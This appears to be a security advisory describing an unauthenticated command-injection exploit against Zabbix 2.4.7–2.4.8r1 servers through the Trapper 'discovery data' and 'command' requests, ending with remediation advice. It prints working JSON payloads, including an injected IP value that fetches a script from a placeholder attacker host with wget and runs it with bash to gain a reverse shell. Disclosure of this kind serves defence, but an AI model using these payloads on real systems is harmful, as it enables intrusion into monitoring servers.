The "Trapper" section of the Zabbix Code, is a network service that allows the Zabbix Proxies and the Zabbix Server to communicate over TCP Port 10050. There are a set of "API" calls that the Zabbix Server exposes to the Zabbix proxy, the two that will be discussed are the "discovery data" and "command" requests. Examples of these requests are shown below:

'{"request":"command","scriptid":1,"hostid":10001}'

'{"request":"discovery data","host":"zabbix-proxy.com","clock":10,
"data":[{"clock":10,"drule":1,"dcheck2,"type":0,"ip”:”10.0.0.1”, 
"dns":"zabbix-agent.com", 
"port":10050,"key":"test","status":0,"value":"test_value"}]}

It should be noted that the "request" command will actually invoke a script located on the server for a given host, without any authentication occurring, this might be considered a bug unto itself.

Another pivotal aspect of the exploit is that by default, Zabbix 2.4.X populates the mysql database with 3 scripts inside of the scripts table:

# scriptid == 1 == /bin/ping -c {HOST.CONN} 2>&1
# scriptid == 2 == /usr/bin/traceroute {HOST.CONN} 2>&1
# scriptid == 3 == sudo /usr/bin/nmap -O {HOST.CONN} 2>&1

The problem lies in the fact that the {HOST.CONN} field actually gets replaced by the host’s IP address during the invocation of the script. The value that replaces {HOST.CONN} is located in the Zabbix.interface table, and is stored in the "IP" field as a VARCHAR(64). Thus, if an attacker can create an interface with a command injection as the IP address, and the script is run via the "command" request, the command injection will occur and a reverse shell can be gained.

The difficulty lies in actually getting a valid entry into the Zabbix.host table. By default, an unauthenticated attacker cannot do this, it requires a minor misconfiguration/overlook on the part of the system administrators.

One of the convenience features of Zabbix is it’s Auto-discover/Auto registration feature, allowing configuration of the Zabbix Server to occur based on the data presented by the Proxy. More specifically, if a hosts presents certain characteristics to the Zabbix proxy, it will automatically get added to certain host-groups and added to the hosts table, but more importantly, an entry in the Zabbix.interface table will be created, with the IP address presented by the host, without any validation of that field occurring.

Thus, by sending a "discovery data" request to the server with a suitable host, a command injection can be inserted into the database. The request used to exploit the server is listed below:

write_script_cmd = '{
"request":"discovery data",
"host":"zabbix-proxy.zzz.pv.yyyycloud.in",
"clock":148535399, 
"data":[{
     "clock":1485353070,
     "drule":88,
     "dcheck":174,
     "type":0,
     "ip":";wget -O /tmp/s http://www.xxx.yyy.zzz/s;#",        
     "dns":"zzz.yyyy.pv.yyyycloud.in",
     "port":10050,
     "key":"zzztest",
    "status":0,
    "value":"el7<(^_^)>mcp"
}]}' 

Due to the size limitation of the ‘ip’ field of the Zabbix.interface table, a second host was inserted into the table with the following IP:

    "ip":"/bin/bash /tmp/s;"

After these two hosts were added, there was still the issue of not knowing the hostids for the "command" requests, but this was easily solved by brute forcing backwards into the database since the command request would return a different response if the host actually existed or not, and once the hostids of the injected hosts were known, they could be invoked directly, and a reverse shell could be gained, e.g.

run_cmd = '{
"request":"command",
"scriptid":1,
"hostid":14666
}'

It should be noted that the fact that the destination Zabbix server does not have any restrictive ACLs also contributed to this exploit.

Confirmed Versions: Zabbix 2.4.7 - 2.4.8r1

Remediation Recommendations include removing all of the default scripts immediately. Even if someone can inject into the hosts table, if there is no code that can be run, it's still secure.

Patch fix recommendations for Zabbix engineers include validation for any IP address upon insertion into the "interface.ip" field.